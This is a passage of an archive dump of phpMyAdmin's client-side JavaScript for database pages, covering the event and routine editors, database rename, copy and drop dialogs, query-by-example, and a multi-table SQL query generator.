').text($currRow.children('td').children('.drop_sql').html()); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'RECURRING') { // The interval field must not be empty for recurring events $elm = this.$ajaxDialog.find('input[name=item_interval_value]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } else { // The execute_at field must not be empty for "once off" events $elm = this.$ajaxDialog.find('input[name=item_execute_at]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } } return true; } }; AJAX.registerOnload('database/events.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseEvents.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseEvents.exportDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseEvents.dropDialog($(this)); }); // end $(document).on() $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseEvents.dropMultipleDialog($(this)); }); // end $(document).on() /** * Attach Ajax event handlers for the "Change event type" functionality, so that the correct * rows are shown in the editor when changing the event type */ $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.recurring_event_row, tr.onetime_event_row').toggle(); }); });dist/database/multi_table_query.js000066600000016567151724472050013371 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * @requires js/database/query_generator.js * */ /* global generateFromBlock, generateWhereBlock */ // js/database/query_generator.js /** * js file for handling AJAX and other events in /database/multi-table-query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/multi_table_query.js', function () { $('.tableNameSelect').each(function () { $(this).off('change'); }); $('#update_query_button').off('click'); $('#add_column_button').off('click'); }); AJAX.registerOnload('database/multi_table_query.js', function () { var editor = Functions.getSqlEditor($('#MultiSqlquery'), {}, 'both'); $('.CodeMirror-line').css('text-align', 'left'); editor.setSize(-1, 50); var columnCount = 3; addNewColumnCallbacks(); $('#update_query_button').on('click', function () { var columns = []; var tableAliases = {}; $('.tableNameSelect').each(function () { var $show = $(this).siblings('.show_col').first(); if ($(this).val() !== '' && $show.prop('checked')) { var tableAlias = $(this).siblings('.table_alias').first().val(); var columnAlias = $(this).siblings('.col_alias').first().val(); if (tableAlias !== '') { columns.push([tableAlias, $(this).siblings('.columnNameSelect').first().val()]); } else { columns.push([$(this).val(), $(this).siblings('.columnNameSelect').first().val()]); } columns[columns.length - 1].push(columnAlias); if ($(this).val() in tableAliases) { if (!tableAliases[$(this).val()].includes(tableAlias)) { tableAliases[$(this).val()].push(tableAlias); } } else { tableAliases[$(this).val()] = [tableAlias]; } } }); if (Object.keys(tableAliases).length === 0) { Functions.ajaxShowMessage('Nothing selected', false, 'error'); return; } var foreignKeys; $.ajax({ type: 'GET', async: false, url: 'index.php?route=/database/multi-table-query/tables', data: { 'server': sessionStorage.server, 'db': $('#db_name').val(), 'tables': Object.keys(tableAliases), 'ajax_request': '1', 'token': CommonParams.get('token') }, success: function (response) { foreignKeys = response.foreignKeyConstrains; } }); var query = 'SELECT ' + '`' + Functions.escapeBacktick(columns[0][0]) + '`.'; if (columns[0][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[0][1]) + '`'; } if (columns[0][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[0][2]) + '`'; } for (var i = 1; i < columns.length; i++) { query += ', `' + Functions.escapeBacktick(columns[i][0]) + '`.'; if (columns[i][1] === '*') { query += '*'; } else { query += '`' + Functions.escapeBacktick(columns[i][1]) + '`'; } if (columns[i][2] !== '') { query += ' AS `' + Functions.escapeBacktick(columns[i][2]) + '`'; } } query += '\nFROM '; query += generateFromBlock(tableAliases, foreignKeys); var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 0) { query += '\nWHERE '; query += generateWhereBlock(); } query += ';'; editor.getDoc().setValue(query); }); $('#submit_query').on('click', function () { var query = editor.getDoc().getValue(); // Verifying that the query is not empty if (query === '') { Functions.ajaxShowMessage(Messages.strEmptyQuery, false, 'error'); return; } var data = { 'db': $('#db_name').val(), 'sql_query': query, 'ajax_request': '1', 'server': CommonParams.get('server'), 'token': CommonParams.get('token') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/multi-table-query/query', data: data, success: function (data) { var $resultsDom = $(data.message); $resultsDom.find('.ajax:not(.pageselector)').each(function () { $(this).on('click', function (event) { event.preventDefault(); }); }); $resultsDom.find('.autosubmit, .pageselector, .showAllRows, .filter_rows').each(function () { $(this).on('change click select focus', function (event) { event.preventDefault(); }); }); $('#sql_results').html($resultsDom); $('#slide-handle').trigger('click'); // Collapse search criteria area } }); }); $('#add_column_button').on('click', function () { columnCount++; var $newColumnDom = $($('#new_column_layout').html()).clone(); $newColumnDom.find('.jsCriteriaButton').first().attr('data-bs-target', '#criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaButton').first().attr('aria-controls', 'criteriaOptionsExtra' + columnCount.toString()); $newColumnDom.find('.jsCriteriaOptions').first().attr('id', 'criteriaOptionsExtra' + columnCount.toString()); $('#add_column_button').parent().before($newColumnDom); addNewColumnCallbacks(); }); function addNewColumnCallbacks() { $('.tableNameSelect').each(function () { $(this).on('change', function () { var $sibs = $(this).siblings('.columnNameSelect'); if ($sibs.length === 0) { $sibs = $(this).parent().parent().find('.columnNameSelect'); } $sibs.first().html($('#' + $(this).find(':selected').data('hash')).html()); }); }); $('.jsRemoveColumn').each(function () { $(this).on('click', function () { $(this).parent().remove(); }); }); $('.jsCriteriaButton').each(function () { $(this).on('click', function (event, from) { if (from === null) { var $checkbox = $(this).siblings('.criteria_col').first(); $checkbox.prop('checked', !$checkbox.prop('checked')); } var $criteriaColCount = $('.criteria_col:checked').length; if ($criteriaColCount > 1) { $(this).siblings('.jsCriteriaOptions').first().find('.logical_operator').first().css('display', 'table-row'); } }); }); $('.criteria_col').each(function () { $(this).on('change', function () { var $anchor = $(this).siblings('.jsCriteriaButton').first(); if ($(this).is(':checked') && !$anchor.hasClass('collapsed')) { // Do not collapse on checkbox tick as it does not make sense // The user has it open and wants to tick the box return; } $anchor.trigger('click', ['Trigger']); }); }); $('.criteria_rhs').each(function () { $(this).on('change', function () { var $rhsCol = $(this).parent().parent().siblings('.rhs_table').first(); var $rhsText = $(this).parent().parent().siblings('.rhs_text').first(); if ($(this).val() === 'text') { $rhsCol.css('display', 'none'); $rhsText.css('display', 'table-row'); } else if ($(this).val() === 'anotherColumn') { $rhsText.css('display', 'none'); $rhsCol.css('display', 'table-row'); } else { $rhsText.css('display', 'none'); $rhsCol.css('display', 'none'); } }); }); } });dist/database/operations.js000066600000013165151724472050012015 0ustar00/** * @fileoverview function used in server privilege pages * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/operations * * Actions Ajaxified here: * Rename Database * Copy Database * Change Charset * Drop Database */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/operations.js', function () { $(document).off('submit', '#rename_db_form.ajax'); $(document).off('submit', '#copy_db_form.ajax'); $(document).off('submit', '#change_db_charset_form.ajax'); $(document).off('click', '#drop_db_anchor.ajax'); }); AJAX.registerOnload('database/operations.js', function () { /** * Ajax event handlers for 'Rename Database' */ $(document).on('submit', '#rename_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } var oldDbName = CommonParams.get('db'); var newDbName = $('#new_db_name').val(); if (newDbName === oldDbName) { Functions.ajaxShowMessage(Messages.strDatabaseRenameToSameName, false, 'error'); return false; } var $form = $(this); var question = Functions.escapeHtml('CREATE DATABASE ' + newDbName + ' / DROP DATABASE ' + oldDbName); Functions.prepareForAjaxRequest($form); $form.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strRenamingDatabases, false); $.post(url, $('#rename_db_form').serialize() + CommonParams.get('arg_separator') + 'is_js_confirmed=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); CommonParams.set('db', data.newname); Navigation.reload(function () { $('#pma_navigation_tree').find('a:not(\'.expander\')').each(function () { var $thisAnchor = $(this); if ($thisAnchor.text() === data.newname) { // simulate a click on the new db name // in navigation $thisAnchor.trigger('click'); } }); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Rename Database /** * Ajax Event Handler for 'Copy Database' */ $(document).on('submit', '#copy_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } Functions.ajaxShowMessage(Messages.strCopyingDatabase, false); var $form = $(this); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { // use messages that stay on screen $('.alert-success, .alert-danger').fadeOut(); if (typeof data !== 'undefined' && data.success === true) { if ($('#checkbox_switch').is(':checked')) { CommonParams.set('db', data.newname); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { CommonParams.set('db', data.db); Functions.ajaxShowMessage(data.message); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end copy database /** * Change tables columns visible only if change tables is checked */ $('#span_change_all_tables_columns_collations').hide(); $('#checkbox_change_all_tables_collations').on('click', function () { $('#span_change_all_tables_columns_collations').toggle(); }); /** * Ajax Event handler for 'Change Charset' of the database */ $(document).on('submit', '#change_db_charset_form.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); Functions.ajaxShowMessage(Messages.strChangingCharset); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end change charset /** * Ajax event handlers for Drop Database */ $(document).on('click', '#drop_db_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' '; question += Functions.sprintf(Messages.strDoYouReally, 'DROP DATABASE `' + Functions.escapeHtml(CommonParams.get('db') + '`')); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $(this).confirm(question, $(this).attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { // Database deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('db', ''); CommonActions.refreshMain('index.php?route=/server/databases', function () { Functions.ajaxShowMessage(data.message); }); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); });dist/database/qbe.js000066600000004457151724472050010405 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/qbe * * Actions Ajaxified here: * Select saved search */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/qbe.js', function () { $(document).off('change', 'select[name^=criteriaColumn]'); $(document).off('change', '#searchId'); $(document).off('click', '#saveSearch'); $(document).off('click', '#updateSearch'); $(document).off('click', '#deleteSearch'); }); AJAX.registerOnload('database/qbe.js', function () { Functions.getSqlEditor($('#textSqlquery'), {}, 'none'); $('#tblQbe').width($('#tblQbe').parent().width()); $('#tblQbeFooters').width($('#tblQbeFooters').parent().width()); $('#tblQbe').on('resize', function () { var newWidthTblQbe = $('#textSqlquery').next().width(); $('#tblQbe').width(newWidthTblQbe); $('#tblQbeFooters').width(newWidthTblQbe); }); /** * Ajax handler to check the corresponding 'show' checkbox when column is selected */ $(document).on('change', 'select[name^=criteriaColumn]', function () { if ($(this).val()) { var index = /\d+/.exec($(this).attr('name')); $('input[name=criteriaShow\\[' + index + '\\]]').prop('checked', true); } }); /** * Ajax event handlers for 'Select saved search' */ $(document).on('change', '#searchId', function () { $('#action').val('load'); $('#formQBE').trigger('submit'); }); /** * Ajax event handlers for 'Create bookmark' */ $(document).on('click', '#saveSearch', function () { $('#action').val('create'); }); /** * Ajax event handlers for 'Update bookmark' */ $(document).on('click', '#updateSearch', function () { $('#action').val('update'); }); /** * Ajax event handlers for 'Delete bookmark' */ $(document).on('click', '#deleteSearch', function () { var question = Functions.sprintf(Messages.strConfirmDeleteQBESearch, $('#searchId').find('option:selected').text()); if (!confirm(question)) { return false; } $('#action').val('delete'); }); var windowwidth = $(window).width(); $('.jsresponsive').css('max-width', windowwidth - 35 + 'px'); });dist/database/query_generator.js000066600000010520151724472050013035 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global sprintf */ // js/vendor/sprintf.js function getFormatsText() { return { '=': ' = \'%s\'', '>': ' > \'%s\'', '>=': ' >= \'%s\'', '<': ' < \'%s\'', '<=': ' <= \'%s\'', '!=': ' != \'%s\'', 'LIKE': ' LIKE \'%s\'', 'LIKE %...%': ' LIKE \'%%%s%%\'', 'NOT LIKE': ' NOT LIKE \'%s\'', 'NOT LIKE %...%': ' NOT LIKE \'%%%s%%\'', 'BETWEEN': ' BETWEEN \'%s\'', 'NOT BETWEEN': ' NOT BETWEEN \'%s\'', 'IS NULL': ' \'%s\' IS NULL', 'IS NOT NULL': ' \'%s\' IS NOT NULL', 'REGEXP': ' REGEXP \'%s\'', 'REGEXP ^...$': ' REGEXP \'^%s$\'', 'NOT REGEXP': ' NOT REGEXP \'%s\'' }; } function generateCondition(criteriaDiv, table) { var query = '`' + Functions.escapeBacktick(table.val()) + '`.'; query += '`' + Functions.escapeBacktick(table.siblings('.columnNameSelect').first().val()) + '`'; if (criteriaDiv.find('.criteria_rhs').first().val() === 'text') { var formatsText = getFormatsText(); query += sprintf(formatsText[criteriaDiv.find('.criteria_op').first().val()], Functions.escapeSingleQuote(criteriaDiv.find('.rhs_text_val').first().val())); } else { query += ' ' + criteriaDiv.find('.criteria_op').first().val(); query += ' `' + Functions.escapeBacktick(criteriaDiv.find('.tableNameSelect').first().val()) + '`.'; query += '`' + Functions.escapeBacktick(criteriaDiv.find('.columnNameSelect').first().val()) + '`'; } return query; } // eslint-disable-next-line no-unused-vars function generateWhereBlock() { var count = 0; var query = ''; $('.tableNameSelect').each(function () { var criteriaDiv = $(this).siblings('.jsCriteriaOptions').first(); var useCriteria = $(this).siblings('.criteria_col').first(); if ($(this).val() !== '' && useCriteria.prop('checked')) { if (count > 0) { criteriaDiv.find('input.logical_op').each(function () { if ($(this).prop('checked')) { query += ' ' + $(this).val() + ' '; } }); } query += generateCondition(criteriaDiv, $(this)); count++; } }); return query; } function generateJoin(newTable, tableAliases, fk) { var query = ''; query += ' \n\tLEFT JOIN ' + '`' + Functions.escapeBacktick(newTable) + '`'; if (tableAliases[fk.TABLE_NAME][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[newTable][0]) + '`'; query += ' ON `' + Functions.escapeBacktick(tableAliases[fk.TABLE_NAME][0]) + '`'; } else { query += ' ON `' + Functions.escapeBacktick(fk.TABLE_NAME) + '`'; } query += '.`' + fk.COLUMN_NAME + '`'; if (tableAliases[fk.REFERENCED_TABLE_NAME][0] !== '') { query += ' = `' + Functions.escapeBacktick(tableAliases[fk.REFERENCED_TABLE_NAME][0]) + '`'; } else { query += ' = `' + Functions.escapeBacktick(fk.REFERENCED_TABLE_NAME) + '`'; } query += '.`' + fk.REFERENCED_COLUMN_NAME + '`'; return query; } function existReference(table, fk, usedTables) { var isReferredBy = fk.TABLE_NAME === table && usedTables.includes(fk.REFERENCED_TABLE_NAME); var isReferencedBy = fk.REFERENCED_TABLE_NAME === table && usedTables.includes(fk.TABLE_NAME); return isReferredBy || isReferencedBy; } function tryJoinTable(table, tableAliases, usedTables, foreignKeys) { for (var i = 0; i < foreignKeys.length; i++) { var fk = foreignKeys[i]; if (existReference(table, fk, usedTables)) { return generateJoin(table, tableAliases, fk); } } return ''; } function appendTable(table, tableAliases, usedTables, foreignKeys) { var query = tryJoinTable(table, tableAliases, usedTables, foreignKeys); if (query === '') { if (usedTables.length > 0) { query += '\n\t, '; } query += '`' + Functions.escapeBacktick(table) + '`'; if (tableAliases[table][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[table][0]) + '`'; } } usedTables.push(table); return query; } // eslint-disable-next-line no-unused-vars function generateFromBlock(tableAliases, foreignKeys) { var usedTables = []; var query = ''; for (var table in tableAliases) { if (tableAliases.hasOwnProperty(table)) { query += appendTable(table, tableAliases, usedTables, foreignKeys); } } return query; }dist/database/routines.js000066600000107334151724472050011504 0ustar00AJAX.registerTeardown('database/routines.js', function () { $(document).off('click', 'a.ajax.add_anchor'); $(document).off('click', 'a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.exec_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); $(document).off('change', 'select[name=item_type]'); $(document).off('change', 'select[name^=item_param_type]'); $(document).off('change', 'select[name=item_returntype]'); $(document).off('click', '#addRoutineParameterButton'); $(document).off('click', 'a.routine_param_remove_anchor'); }); const DatabaseRoutines = { /** * @var {string} paramTemplate Template for a row in the routine editor */ paramTemplate: '', /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; // No routine is exportable (due to privilege issues) if (count === 0) { Functions.ajaxShowMessage(Messages.NoExportable); } var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount === count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport(data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close').remove(); } } }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary' } }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); var tableId = '#' + data.tableType + 'Table'; // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $(tableId + '.data').find('tr').each(function () { text = $(this).children('td').eq(0).find('strong').text().toUpperCase().trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (!inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $(tableId + '.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert').show('slow').removeClass('ajaxInsert'); } else if ($(tableId + '.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $(tableId + '.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $(tableId + '.data').find('tr').has('td').each(function () { rowclass = ct % 2 === 0 ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($(tableId + '.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible')) { $('#nothing2display').hide('slow', function () { $(tableId + '.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, height: 400, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.routineEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); // Execute item-specific code that.postDialogShow(data); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
').text($currRow.children('td').children('.drop_sql').html()); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = 